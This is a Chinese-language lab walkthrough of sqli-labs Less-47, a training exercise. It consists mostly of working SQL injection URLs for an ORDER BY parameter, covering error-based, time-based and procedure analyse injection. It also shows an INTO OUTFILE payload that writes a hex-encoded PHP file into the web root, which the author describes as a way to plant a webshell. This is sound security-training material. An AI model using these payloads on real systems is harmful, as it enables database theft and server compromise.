Less-47

本关的sql语句为    $sql = "SELECT * FROM users ORDER BY '$id'";

将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。

  1. 、order by后的参数

    我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。

    ① and rand相结合的方式,payload:http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(database(),1))=115)--+

    换成116后,http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(database(),1))=116)--+

    此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

    ②可以利用报错的方式进行

    http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))--+

    可以看到user()的内容,同时可以构造其他的语句进行注入。

    这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。

    http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

    此处重复了version(),所以就爆出了版本号

    ③延时注入

    http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))--+

    这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。

    (2)procedure analyse参数后注入

    利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

    以下为示范例

    http://127.0.0.1/sqli-labs/Less-47/?sort=1%27procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

  2. 导入导出文件into outfile参数

    http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.txt%22--+

    将查询结果导入到文件当中

    那这个时候我们可以考虑上传网马,利用lines terminated by。

    Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)

    http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+

    此处的16进制文件为<?php phpinfo();?>

    我们访问test.php

Sqli-labs less 47的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. rails中ActionController::InvalidAuthenticityToken解决办法

    Ror代码 class FooController < ApplicationController protect_from_forgery :except => :index # you ...

  2. JS中的函数,Array对象,for-in语句,with语句,自定义对象,Prototype

    一)函数 A)JS中的函数的定义格式: function add(a,b) { var sum = a+b; document.write("两个数的和是:" + sum); // ...

  3. 算法系列5《SSF33》

    SSF33算法是以128位分组为单位进行运算,密钥长度为16字节,该算法也可以被用于安全报文传送和MAC机制密文运算. 使用SSF33算法和基于3-DES的对称加密机制使用相同长度的密钥,能够同原有的 ...

  4. Cygwin ssh服务配置 (SecureCRT连接Cygwin配置)

    1.运行ssh-host-config 这里需要注意的是标红部分,输入的用户名或密码要符合计算机的用户名或密码策略(尤其是公司有权限限制的电脑). $ ssh-host-config *** Quer ...

  5. 2.Knockout.Js(监控属性Observables)

    前言 1.创建一个ViewModel <script type="text/javascript"> //1.创建一个ViewModel var myViewModel ...

  6. 1.Knockout.Js(简介)

    前言 最近一段时间在网上经常看到关于Knockout.js文章,于是自己就到官网看了下,不过是英文的,自己果断搞不来,借用google翻译了一下.然后刚刚发现在建立asp.net mvc4.0的应用程 ...

  7. vnext 技术两篇文章和评论

    研究vnext的两篇 好文章,重点看评论! http://www.cnblogs.com/shanyou/p/4589930.html http://www.cnblogs.com/shanyou/p ...

  8. DataGridView 中CheckBox 获取状态

    /// <summary> /// /// </summary> /// <param name="sender"></param> ...

  9. 四、VMware Tools 安装 与 问题

    解决VMware Tools无法安装的问题 虚拟机上装win2kgho版的系统,安装VMware Tools时,遇到“VMware Tools installation cannot be start ...

  10. < java.util >-- Iterator接口

    每一个集合都有自己的数据结构,都有特定的取出自己内部元素的方式.为了便于操作所有的容器,取出元素.将容器内部的取出方式按照一个统一的规则向外提供,这个规则就是Iterator接口. 也就说,只要通过该 ...